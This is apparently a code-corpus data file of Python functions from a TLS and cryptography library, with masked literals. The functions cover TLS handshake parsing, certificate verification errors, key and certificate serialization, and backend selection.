{"signature": "def get_dh_params_length(server_handshake_bytes):", "body": "output = None<EOL>dh_params_bytes = None<EOL>for record_type, _, record_data in parse_tls_records(server_handshake_bytes):<EOL><INDENT>if record_type != b'<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>for message_type, message_data in parse_handshake_messages(record_data):<EOL><INDENT>if message_type == b'<STR_LIT>':<EOL><INDENT>dh_params_bytes = message_data<EOL>break<EOL><DEDENT><DEDENT>if dh_params_bytes:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if dh_params_bytes:<EOL><INDENT>output = int_from_bytes(dh_params_bytes[<NUM_LIT:0>:<NUM_LIT:2>]) * <NUM_LIT:8><EOL><DEDENT>return output<EOL>", "docstring": "Determines the length of the DH params from the ServerKeyExchange\n\n:param server_handshake_bytes:\n    A byte string of the handshake data received from the server\n\n:return:\n    None or an integer of the bit size of the DH parameters", "id": "f9524:m2"}
{"signature": "def parse_alert(server_handshake_bytes):", "body": "for record_type, _, record_data in parse_tls_records(server_handshake_bytes):<EOL><INDENT>if record_type != b'<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>if len(record_data) != <NUM_LIT:2>:<EOL><INDENT>return None<EOL><DEDENT>return (int_from_bytes(record_data[<NUM_LIT:0>:<NUM_LIT:1>]), int_from_bytes(record_data[<NUM_LIT:1>:<NUM_LIT:2>]))<EOL><DEDENT>return None<EOL>", "docstring": "Parses the handshake for protocol alerts\n\n:param server_handshake_bytes:\n    A byte string of the handshake data received from the server\n\n:return:\n    None or an 2-element tuple of integers:\n     0: 1 (warning) or 2 (fatal)\n     1: The alert description (see https://tools.ietf.org/html/rfc5246#section-7.2)", "id": "f9524:m3"}
{"signature": "def parse_session_info(server_handshake_bytes, client_handshake_bytes):", "body": "protocol = None<EOL>cipher_suite = None<EOL>compression = False<EOL>session_id = None<EOL>session_ticket = None<EOL>server_session_id = None<EOL>client_session_id = None<EOL>for record_type, _, record_data in parse_tls_records(server_handshake_bytes):<EOL><INDENT>if record_type != b'<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>for message_type, message_data in parse_handshake_messages(record_data):<EOL><INDENT>if message_type != b'<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>protocol = {<EOL>b'<STR_LIT>': \"<STR_LIT>\",<EOL>b'<STR_LIT>': \"<STR_LIT>\",<EOL>b'<STR_LIT>': \"<STR_LIT>\",<EOL>b'<STR_LIT>': \"<STR_LIT>\",<EOL>b'<STR_LIT>': \"<STR_LIT>\",<EOL>}[message_data[<NUM_LIT:0>:<NUM_LIT:2>]]<EOL>session_id_length = int_from_bytes(message_data[<NUM_LIT>:<NUM_LIT>])<EOL>if session_id_length > <NUM_LIT:0>:<EOL><INDENT>server_session_id = message_data[<NUM_LIT>:<NUM_LIT> + session_id_length]<EOL><DEDENT>cipher_suite_start = <NUM_LIT> + session_id_length<EOL>cipher_suite_bytes = message_data[cipher_suite_start:cipher_suite_start + <NUM_LIT:2>]<EOL>cipher_suite = CIPHER_SUITE_MAP[cipher_suite_bytes]<EOL>compression_start = cipher_suite_start + <NUM_LIT:2><EOL>compression = message_data[compression_start:compression_start + <NUM_LIT:1>] != b'<STR_LIT:\\x00>'<EOL>extensions_length_start = compression_start + <NUM_LIT:1><EOL>extensions_data = message_data[extensions_length_start:]<EOL>for extension_type, extension_data in _parse_hello_extensions(extensions_data):<EOL><INDENT>if extension_type == <NUM_LIT>:<EOL><INDENT>session_ticket = \"<STR_LIT>\"<EOL>break<EOL><DEDENT><DEDENT>break<EOL><DEDENT><DEDENT>for record_type, _, record_data in parse_tls_records(client_handshake_bytes):<EOL><INDENT>if record_type != b'<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>for message_type, message_data in parse_handshake_messages(record_data):<EOL><INDENT>if message_type != b'<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>session_id_length = int_from_bytes(message_data[<NUM_LIT>:<NUM_LIT>])<EOL>if session_id_length > <NUM_LIT:0>:<EOL><INDENT>client_session_id = message_data[<NUM_LIT>:<NUM_LIT> + session_id_length]<EOL><DEDENT>cipher_suite_start = <NUM_LIT> + session_id_length<EOL>cipher_suite_length = int_from_bytes(message_data[cipher_suite_start:cipher_suite_start + <NUM_LIT:2>])<EOL>compression_start = cipher_suite_start + <NUM_LIT:2> + cipher_suite_length<EOL>compression_length = int_from_bytes(message_data[compression_start:compression_start + <NUM_LIT:1>])<EOL>if server_session_id is None and session_ticket is None:<EOL><INDENT>extensions_length_start = compression_start + <NUM_LIT:1> + compression_length<EOL>extensions_data = message_data[extensions_length_start:]<EOL>for extension_type, extension_data in _parse_hello_extensions(extensions_data):<EOL><INDENT>if extension_type == <NUM_LIT>:<EOL><INDENT>session_ticket = \"<STR_LIT>\"<EOL>break<EOL><DEDENT><DEDENT><DEDENT>break<EOL><DEDENT><DEDENT>if server_session_id is not None:<EOL><INDENT>if client_session_id is None:<EOL><INDENT>session_id = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>if client_session_id != server_session_id:<EOL><INDENT>session_id = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>session_id = \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>return {<EOL>\"<STR_LIT>\": protocol,<EOL>\"<STR_LIT>\": cipher_suite,<EOL>\"<STR_LIT>\": compression,<EOL>\"<STR_LIT>\": session_id,<EOL>\"<STR_LIT>\": session_ticket,<EOL>}<EOL>", "docstring": "Parse the TLS handshake from the client to the server to extract information\nincluding the cipher suite selected, if compression is enabled, the\nsession id and if a new or reused session ticket exists.\n\n:param server_handshake_bytes:\n    A byte string of the handshake data received from the server\n\n:param client_handshake_bytes:\n    A byte string of the handshake data sent to the server\n\n:return:\n    A dict with the following keys:\n     - \"protocol\": unicode string\n     - \"cipher_suite\": unicode string\n     - \"compression\": boolean\n     - \"session_id\": \"new\", \"reused\" or None\n     - \"session_ticket: \"new\", \"reused\" or None", "id": "f9524:m4"}
{"signature": "def parse_tls_records(data):", "body": "pointer = <NUM_LIT:0><EOL>data_len = len(data)<EOL>while pointer < data_len:<EOL><INDENT>if data[pointer:pointer + <NUM_LIT:1>] == b'<STR_LIT>':<EOL><INDENT>break<EOL><DEDENT>length = int_from_bytes(data[pointer + <NUM_LIT:3>:pointer + <NUM_LIT:5>])<EOL>yield (<EOL>data[pointer:pointer + <NUM_LIT:1>],<EOL>data[pointer + <NUM_LIT:1>:pointer + <NUM_LIT:3>],<EOL>data[pointer + <NUM_LIT:5>:pointer + <NUM_LIT:5> + length]<EOL>)<EOL>pointer += <NUM_LIT:5> + length<EOL><DEDENT>", "docstring": "Creates a generator returning tuples of information about each record\nin a byte string of data from a TLS client or server. Stops as soon as it\nfind a ChangeCipherSpec message since all data from then on is encrypted.\n\n:param data:\n    A byte string of TLS records\n\n:return:\n    A generator that yields 3-element tuples:\n    [0] Byte string of record type\n    [1] Byte string of protocol version\n    [2] Byte string of record data", "id": "f9524:m5"}
{"signature": "def parse_handshake_messages(data):", "body": "pointer = <NUM_LIT:0><EOL>data_len = len(data)<EOL>while pointer < data_len:<EOL><INDENT>length = int_from_bytes(data[pointer + <NUM_LIT:1>:pointer + <NUM_LIT:4>])<EOL>yield (<EOL>data[pointer:pointer + <NUM_LIT:1>],<EOL>data[pointer + <NUM_LIT:4>:pointer + <NUM_LIT:4> + length]<EOL>)<EOL>pointer += <NUM_LIT:4> + length<EOL><DEDENT>", "docstring": "Creates a generator returning tuples of information about each message in\na byte string of data from a TLS handshake record\n\n:param data:\n    A byte string of a TLS handshake record data\n\n:return:\n    A generator that yields 2-element tuples:\n    [0] Byte string of message type\n    [1] Byte string of message data", "id": "f9524:m6"}
{"signature": "def _parse_hello_extensions(data):", "body": "if data == b'<STR_LIT>':<EOL><INDENT>return<EOL><DEDENT>extentions_length = int_from_bytes(data[<NUM_LIT:0>:<NUM_LIT:2>])<EOL>extensions_start = <NUM_LIT:2><EOL>extensions_end = <NUM_LIT:2> + extentions_length<EOL>pointer = extensions_start<EOL>while pointer < extensions_end:<EOL><INDENT>extension_type = int_from_bytes(data[pointer:pointer + <NUM_LIT:2>])<EOL>extension_length = int_from_bytes(data[pointer + <NUM_LIT:2>:pointer + <NUM_LIT:4>])<EOL>yield (<EOL>extension_type,<EOL>data[pointer + <NUM_LIT:4>:pointer + <NUM_LIT:4> + extension_length]<EOL>)<EOL>pointer += <NUM_LIT:4> + extension_length<EOL><DEDENT>", "docstring": "Creates a generator returning tuples of information about each extension\nfrom a byte string of extension data contained in a ServerHello ores\nClientHello message\n\n:param data:\n    A byte string of a extension data from a TLS ServerHello or ClientHello\n    message\n\n:return:\n    A generator that yields 2-element tuples:\n    [0] Byte string of extension type\n    [1] Byte string of extension data", "id": "f9524:m7"}
{"signature": "def raise_hostname(certificate, hostname):", "body": "is_ip = re.match('<STR_LIT>', hostname) or hostname.find('<STR_LIT::>') != -<NUM_LIT:1><EOL>if is_ip:<EOL><INDENT>hostname_type = '<STR_LIT>' % hostname<EOL><DEDENT>else:<EOL><INDENT>hostname_type = '<STR_LIT>' % hostname<EOL><DEDENT>message = '<STR_LIT>' % hostname_type<EOL>valid_ips = '<STR_LIT:U+002CU+0020>'.join(certificate.valid_ips)<EOL>valid_domains = '<STR_LIT:U+002CU+0020>'.join(certificate.valid_domains)<EOL>if valid_domains:<EOL><INDENT>message += '<STR_LIT>' % valid_domains<EOL><DEDENT>if valid_domains and valid_ips:<EOL><INDENT>message += '<STR_LIT>'<EOL><DEDENT>if valid_ips:<EOL><INDENT>message += '<STR_LIT>' % valid_ips<EOL><DEDENT>raise TLSVerificationError(message, certificate)<EOL>", "docstring": "Raises a TLSVerificationError due to a hostname mismatch\n\n:param certificate:\n    An asn1crypto.x509.Certificate object\n\n:raises:\n    TLSVerificationError", "id": "f9524:m8"}
{"signature": "def raise_verification(certificate):", "body": "message = '<STR_LIT>'<EOL>raise TLSVerificationError(message, certificate)<EOL>", "docstring": "Raises a generic TLSVerificationError\n\n:param certificate:\n    An asn1crypto.x509.Certificate object\n\n:raises:\n    TLSVerificationError", "id": "f9524:m9"}
{"signature": "def raise_weak_signature(certificate):", "body": "message = '<STR_LIT>'<EOL>raise TLSVerificationError(message, certificate)<EOL>", "docstring": "Raises a TLSVerificationError when a certificate uses a weak signature\nalgorithm\n\n:param certificate:\n    An asn1crypto.x509.Certificate object\n\n:raises:\n    TLSVerificationError", "id": "f9524:m10"}
{"signature": "def raise_client_auth():", "body": "message = '<STR_LIT>'<EOL>raise TLSError(message)<EOL>", "docstring": "Raises a TLSError indicating client authentication is required\n\n:raises:\n    TLSError", "id": "f9524:m11"}
{"signature": "def raise_revoked(certificate):", "body": "message = '<STR_LIT>'<EOL>raise TLSVerificationError(message, certificate)<EOL>", "docstring": "Raises a TLSVerificationError due to the certificate being revoked\n\n:param certificate:\n    An asn1crypto.x509.Certificate object\n\n:raises:\n    TLSVerificationError", "id": "f9524:m12"}
{"signature": "def raise_no_issuer(certificate):", "body": "message = '<STR_LIT>'<EOL>raise TLSVerificationError(message, certificate)<EOL>", "docstring": "Raises a TLSVerificationError due to no issuer certificate found in trust\nroots\n\n:param certificate:\n    An asn1crypto.x509.Certificate object\n\n:raises:\n    TLSVerificationError", "id": "f9524:m13"}
{"signature": "def raise_self_signed(certificate):", "body": "message = '<STR_LIT>'<EOL>raise TLSVerificationError(message, certificate)<EOL>", "docstring": "Raises a TLSVerificationError due to a self-signed certificate\nroots\n\n:param certificate:\n    An asn1crypto.x509.Certificate object\n\n:raises:\n    TLSVerificationError", "id": "f9524:m14"}
{"signature": "def raise_expired_not_yet_valid(certificate):", "body": "validity = certificate['<STR_LIT>']['<STR_LIT>']<EOL>not_after = validity['<STR_LIT>'].native<EOL>not_before = validity['<STR_LIT>'].native<EOL>now = datetime.now(timezone.utc)<EOL>if not_before > now:<EOL><INDENT>formatted_before = not_before.strftime('<STR_LIT>')<EOL>message = '<STR_LIT>' % formatted_before<EOL><DEDENT>elif not_after < now:<EOL><INDENT>formatted_after = not_after.strftime('<STR_LIT>')<EOL>message = '<STR_LIT>' % formatted_after<EOL><DEDENT>raise TLSVerificationError(message, certificate)<EOL>", "docstring": "Raises a TLSVerificationError due to certificate being expired, or not yet\nbeing valid\n\n:param certificate:\n    An asn1crypto.x509.Certificate object\n\n:raises:\n    TLSVerificationError", "id": "f9524:m15"}
{"signature": "def raise_disconnection():", "body": "raise TLSDisconnectError('<STR_LIT>')<EOL>", "docstring": "Raises a TLSDisconnectError due to a disconnection\n\n:raises:\n    TLSDisconnectError", "id": "f9524:m16"}
{"signature": "def raise_protocol_error(server_handshake_bytes):", "body": "other_protocol = detect_other_protocol(server_handshake_bytes)<EOL>if other_protocol:<EOL><INDENT>raise TLSError('<STR_LIT>' % other_protocol)<EOL><DEDENT>raise TLSError('<STR_LIT>')<EOL>", "docstring": "Raises a TLSError due to a protocol error\n\n:param server_handshake_bytes:\n    A byte string of the handshake data received from the server\n\n:raises:\n    TLSError", "id": "f9524:m17"}
{"signature": "def raise_handshake():", "body": "raise TLSError('<STR_LIT>')<EOL>", "docstring": "Raises a TLSError due to a handshake error\n\n:raises:\n    TLSError", "id": "f9524:m18"}
{"signature": "def raise_protocol_version():", "body": "raise TLSError('<STR_LIT>')<EOL>", "docstring": "Raises a TLSError due to a TLS version incompatibility\n\n:raises:\n    TLSError", "id": "f9524:m19"}
{"signature": "def raise_dh_params():", "body": "raise TLSError('<STR_LIT>')<EOL>", "docstring": "Raises a TLSError due to weak DH params\n\n:raises:\n    TLSError", "id": "f9524:m20"}
{"signature": "def detect_other_protocol(server_handshake_bytes):", "body": "if server_handshake_bytes[<NUM_LIT:0>:<NUM_LIT:5>] == b'<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if server_handshake_bytes[<NUM_LIT:0>:<NUM_LIT:4>] == b'<STR_LIT>':<EOL><INDENT>if re.match(b'<STR_LIT>', server_handshake_bytes, re.I):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>if server_handshake_bytes[<NUM_LIT:0>:<NUM_LIT:4>] == b'<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if server_handshake_bytes[<NUM_LIT:0>:<NUM_LIT:4>] == b'<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if server_handshake_bytes[<NUM_LIT:0>:<NUM_LIT:4>] == b'<STR_LIT>' or server_handshake_bytes[<NUM_LIT:0>:<NUM_LIT:9>] == b'<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return None<EOL>", "docstring": "Looks at the server handshake bytes to try and detect a different protocol\n\n:param server_handshake_bytes:\n    A byte string of the handshake data received from the server\n\n:return:\n    None, or a unicode string of \"ftp\", \"http\", \"imap\", \"pop3\", \"smtp\"", "id": "f9524:m21"}
{"signature": "def dump_dh_parameters(dh_parameters, encoding='<STR_LIT>'):", "body": "if encoding not in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(encoding)<EOL>))<EOL><DEDENT>if not isinstance(dh_parameters, algos.DHParameters):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(dh_parameters)<EOL>))<EOL><DEDENT>output = dh_parameters.dump()<EOL>if encoding == '<STR_LIT>':<EOL><INDENT>output = pem.armor('<STR_LIT>', output)<EOL><DEDENT>return output<EOL>", "docstring": "Serializes an asn1crypto.algos.DHParameters object into a byte string\n\n:param dh_parameters:\n    An asn1crypto.algos.DHParameters object\n\n:param encoding:\n    A unicode string of \"pem\" or \"der\"\n\n:return:\n    A byte string of the encoded DH parameters", "id": "f9525:m0"}
{"signature": "def dump_public_key(public_key, encoding='<STR_LIT>'):", "body": "if encoding not in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(encoding)<EOL>))<EOL><DEDENT>is_oscrypto = isinstance(public_key, PublicKey)<EOL>if not isinstance(public_key, keys.PublicKeyInfo) and not is_oscrypto:<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(public_key)<EOL>))<EOL><DEDENT>if is_oscrypto:<EOL><INDENT>public_key = public_key.asn1<EOL><DEDENT>output = public_key.dump()<EOL>if encoding == '<STR_LIT>':<EOL><INDENT>output = pem.armor('<STR_LIT>', output)<EOL><DEDENT>return output<EOL>", "docstring": "Serializes a public key object into a byte string\n\n:param public_key:\n    An oscrypto.asymmetric.PublicKey or asn1crypto.keys.PublicKeyInfo object\n\n:param encoding:\n    A unicode string of \"pem\" or \"der\"\n\n:return:\n    A byte string of the encoded public key", "id": "f9525:m1"}
{"signature": "def dump_certificate(certificate, encoding='<STR_LIT>'):", "body": "if encoding not in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(encoding)<EOL>))<EOL><DEDENT>is_oscrypto = isinstance(certificate, Certificate)<EOL>if not isinstance(certificate, x509.Certificate) and not is_oscrypto:<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(certificate)<EOL>))<EOL><DEDENT>if is_oscrypto:<EOL><INDENT>certificate = certificate.asn1<EOL><DEDENT>output = certificate.dump()<EOL>if encoding == '<STR_LIT>':<EOL><INDENT>output = pem.armor('<STR_LIT>', output)<EOL><DEDENT>return output<EOL>", "docstring": "Serializes a certificate object into a byte string\n\n:param certificate:\n    An oscrypto.asymmetric.Certificate or asn1crypto.x509.Certificate object\n\n:param encoding:\n    A unicode string of \"pem\" or \"der\"\n\n:return:\n    A byte string of the encoded certificate", "id": "f9525:m2"}
{"signature": "def dump_private_key(private_key, passphrase, encoding='<STR_LIT>', target_ms=<NUM_LIT:200>):", "body": "if encoding not in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(encoding)<EOL>))<EOL><DEDENT>if passphrase is not None:<EOL><INDENT>if not isinstance(passphrase, str_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(passphrase)<EOL>))<EOL><DEDENT>if passphrase == '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT><DEDENT>is_oscrypto = isinstance(private_key, PrivateKey)<EOL>if not isinstance(private_key, keys.PrivateKeyInfo) and not is_oscrypto:<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>if is_oscrypto:<EOL><INDENT>private_key = private_key.asn1<EOL><DEDENT>output = private_key.dump()<EOL>if passphrase is not None:<EOL><INDENT>cipher = '<STR_LIT>'<EOL>key_length = <NUM_LIT:32><EOL>kdf_hmac = '<STR_LIT>'<EOL>kdf_salt = rand_bytes(key_length)<EOL>iterations = pbkdf2_iteration_calculator(kdf_hmac, key_length, target_ms=target_ms, quiet=True)<EOL>if iterations < <NUM_LIT>:<EOL><INDENT>iterations = <NUM_LIT><EOL><DEDENT>passphrase_bytes = passphrase.encode('<STR_LIT:utf-8>')<EOL>key = pbkdf2(kdf_hmac, passphrase_bytes, kdf_salt, iterations, key_length)<EOL>iv, ciphertext = aes_cbc_pkcs7_encrypt(key, output, None)<EOL>output = keys.EncryptedPrivateKeyInfo({<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': algos.Pbkdf2Salt(<EOL>name='<STR_LIT>',<EOL>value=kdf_salt<EOL>),<EOL>'<STR_LIT>': iterations,<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': kdf_hmac,<EOL>'<STR_LIT>': core.Null()<EOL>}<EOL>}<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': cipher,<EOL>'<STR_LIT>': iv<EOL>}<EOL>}<EOL>},<EOL>'<STR_LIT>': ciphertext<EOL>}).dump()<EOL><DEDENT>if encoding == '<STR_LIT>':<EOL><INDENT>if passphrase is None:<EOL><INDENT>object_type = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>object_type = '<STR_LIT>'<EOL><DEDENT>output = pem.armor(object_type, output)<EOL><DEDENT>return output<EOL>", "docstring": "Serializes a private key object into a byte string of the PKCS#8 format\n\n:param private_key:\n    An oscrypto.asymmetric.PrivateKey or asn1crypto.keys.PrivateKeyInfo\n    object\n\n:param passphrase:\n    A unicode string of the passphrase to encrypt the private key with.\n    A passphrase of None will result in no encryption. A blank string will\n    result in a ValueError to help ensure that the lack of passphrase is\n    intentional.\n\n:param encoding:\n    A unicode string of \"pem\" or \"der\"\n\n:param target_ms:\n    Use PBKDF2 with the number of iterations that takes about this many\n    milliseconds on the current machine.\n\n:raises:\n    ValueError - when a blank string is provided for the passphrase\n\n:return:\n    A byte string of the encoded and encrypted public key", "id": "f9525:m3"}
{"signature": "def dump_openssl_private_key(private_key, passphrase):", "body": "if passphrase is not None:<EOL><INDENT>if not isinstance(passphrase, str_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(passphrase)<EOL>))<EOL><DEDENT>if passphrase == '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT><DEDENT>is_oscrypto = isinstance(private_key, PrivateKey)<EOL>if not isinstance(private_key, keys.PrivateKeyInfo) and not is_oscrypto:<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>if is_oscrypto:<EOL><INDENT>private_key = private_key.asn1<EOL><DEDENT>output = private_key.unwrap().dump()<EOL>headers = None<EOL>if passphrase is not None:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:16>)<EOL>headers = OrderedDict()<EOL>headers['<STR_LIT>'] = '<STR_LIT>'<EOL>headers['<STR_LIT>'] = '<STR_LIT>' % binascii.hexlify(iv).decode('<STR_LIT:ascii>')<EOL>key_length = <NUM_LIT:16><EOL>passphrase_bytes = passphrase.encode('<STR_LIT:utf-8>')<EOL>key = hashlib.md5(passphrase_bytes + iv[<NUM_LIT:0>:<NUM_LIT:8>]).digest()<EOL>while key_length > len(key):<EOL><INDENT>key += hashlib.md5(key + passphrase_bytes + iv[<NUM_LIT:0>:<NUM_LIT:8>]).digest()<EOL><DEDENT>key = key[<NUM_LIT:0>:key_length]<EOL>iv, output = aes_cbc_pkcs7_encrypt(key, output, iv)<EOL><DEDENT>if private_key.algorithm == '<STR_LIT>':<EOL><INDENT>object_type = '<STR_LIT>'<EOL><DEDENT>elif private_key.algorithm == '<STR_LIT>':<EOL><INDENT>object_type = '<STR_LIT>'<EOL><DEDENT>elif private_key.algorithm == '<STR_LIT>':<EOL><INDENT>object_type = '<STR_LIT>'<EOL><DEDENT>return pem.armor(object_type, output, headers=headers)<EOL>", "docstring": "Serializes a private key object into a byte string of the PEM formats used\nby OpenSSL. The format chosen will depend on the type of private key - RSA,\nDSA or EC.\n\nDo not use this method unless you really must interact with a system that\ndoes not support PKCS#8 private keys. The encryption provided by PKCS#8 is\nfar superior to the OpenSSL formats. This is due to the fact that the\nOpenSSL formats don't stretch the passphrase, making it very easy to\nbrute-force.\n\n:param private_key:\n    An oscrypto.asymmetric.PrivateKey or asn1crypto.keys.PrivateKeyInfo\n    object\n\n:param passphrase:\n    A unicode string of the passphrase to encrypt the private key with.\n    A passphrase of None will result in no encryption. A blank string will\n    result in a ValueError to help ensure that the lack of passphrase is\n    intentional.\n\n:raises:\n    ValueError - when a blank string is provided for the passphrase\n\n:return:\n    A byte string of the encoded and encrypted public key", "id": "f9525:m4"}
{"signature": "def backend():", "body": "if _module_values['<STR_LIT>'] is not None:<EOL><INDENT>return _module_values['<STR_LIT>']<EOL><DEDENT>with _backend_lock:<EOL><INDENT>if _module_values['<STR_LIT>'] is not None:<EOL><INDENT>return _module_values['<STR_LIT>']<EOL><DEDENT>if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>if sys.getwindowsversion()[<NUM_LIT:0>] < <NUM_LIT:6>:<EOL><INDENT>_module_values['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>_module_values['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>elif sys.platform == '<STR_LIT>':<EOL><INDENT>_module_values['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>_module_values['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>return _module_values['<STR_LIT>']<EOL><DEDENT>", "docstring": ":return:\n    A unicode string of the backend being used: \"openssl\", \"osx\", \"win\",\n    \"winlegacy\"", "id": "f9526:m0"}
{"signature": "def _backend_config():", "body": "if backend() != '<STR_LIT>':<EOL><INDENT>return {}<EOL><DEDENT>if _module_values['<STR_LIT>'] is not None:<EOL><INDENT>return _module_values['<STR_LIT>']<EOL><DEDENT>with _backend_lock:<EOL><INDENT>if _module_values['<STR_LIT>'] is not None:<EOL><INDENT>return _module_values['<STR_LIT>']<EOL><DEDENT>_module_values['<STR_LIT>'] = {}<EOL>return _module_values['<STR_LIT>']<EOL><DEDENT>", "docstring": ":return:\n    A dict of config info for the backend. Only currently used by \"openssl\",\n    it may contains zero or more of the following keys:\n     - \"libcrypto_path\"\n     - \"libssl_path\"", "id": "f9526:m1"}
{"signature": "def use_openssl(libcrypto_path, libssl_path, trust_list_path=None):", "body": "if not isinstance(libcrypto_path, str_cls):<EOL><INDENT>raise ValueError('<STR_LIT>' % type_name(libcrypto_path))<EOL><DEDENT>if not isinstance(libssl_path, str_cls):<EOL><INDENT>raise ValueError('<STR_LIT>' % type_name(libssl_path))<EOL><DEDENT>if not os.path.exists(libcrypto_path):<EOL><INDENT>raise LibraryNotFoundError('<STR_LIT>' % libcrypto_path)<EOL><DEDENT>if not os.path.exists(libssl_path):<EOL><INDENT>raise LibraryNotFoundError('<STR_LIT>' % libssl_path)<EOL><DEDENT>if trust_list_path is not None:<EOL><INDENT>if not isinstance(trust_list_path, str_cls):<EOL><INDENT>raise ValueError('<STR_LIT>' % type_name(trust_list_path))<EOL><DEDENT>if not os.path.exists(trust_list_path):<EOL><INDENT>raise OSError('<STR_LIT>' % trust_list_path)<EOL><DEDENT><DEDENT>with _backend_lock:<EOL><INDENT>if _module_values['<STR_LIT>'] is not None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>_module_values['<STR_LIT>'] = '<STR_LIT>'<EOL>_module_values['<STR_LIT>'] = {<EOL>'<STR_LIT>': libcrypto_path,<EOL>'<STR_LIT>': libssl_path,<EOL>'<STR_LIT>': trust_list_path,<EOL>}<EOL><DEDENT>", "docstring": "Forces using OpenSSL dynamic libraries on OS X (.dylib) or Windows (.dll),\nor using a specific dynamic library on Linux/BSD (.so).\n\nThis can also be used to configure oscrypto to use LibreSSL dynamic\nlibraries.\n\nThis method must be called before any oscrypto submodules are imported.\n\n:param libcrypto_path:\n    A unicode string of the file path to the OpenSSL/LibreSSL libcrypto\n    dynamic library.\n\n:param libssl_path:\n    A unicode string of the file path to the OpenSSL/LibreSSL libssl\n    dynamic library.\n\n:param trust_list_path:\n    An optional unicode string of the path to a file containing\n    OpenSSL-compatible CA certificates in PEM format. If this is not\n    provided and the platform is OS X or Windows, the system trust roots\n    will be exported from the OS and used for all TLS connections.\n\n:raises:\n    ValueError - when one of the paths is not a unicode string\n    OSError - when the trust_list_path does not exist on the filesystem\n    oscrypto.errors.LibraryNotFoundError - when one of the path does not exist on the filesystem\n    RuntimeError - when this function is called after another part of oscrypto has been imported", "id": "f9526:m2"}
{"signature": "def use_winlegacy():", "body": "if sys.platform != '<STR_LIT:win32>':<EOL><INDENT>plat = platform.system() or sys.platform<EOL>if plat == '<STR_LIT>':<EOL><INDENT>plat = '<STR_LIT>'<EOL><DEDENT>raise EnvironmentError('<STR_LIT>' % plat)<EOL><DEDENT>with _backend_lock:<EOL><INDENT>if _module_values['<STR_LIT>'] is not None:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>_module_values['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>", "docstring": "Forces use of the legacy Windows CryptoAPI. This should only be used on\nWindows XP or for testing. It is less full-featured than the Cryptography\nNext Generation (CNG) API, and as a result the elliptic curve and PSS\npadding features are implemented in pure Python. This isn't ideal, but it\na shim for end-user client code. No one is going to run a server on Windows\nXP anyway, right?!\n\n:raises:\n    EnvironmentError - when this function is called on an operating system other than Windows\n    RuntimeError - when this function is called after another part of oscrypto has been imported", "id": "f9526:m3"}
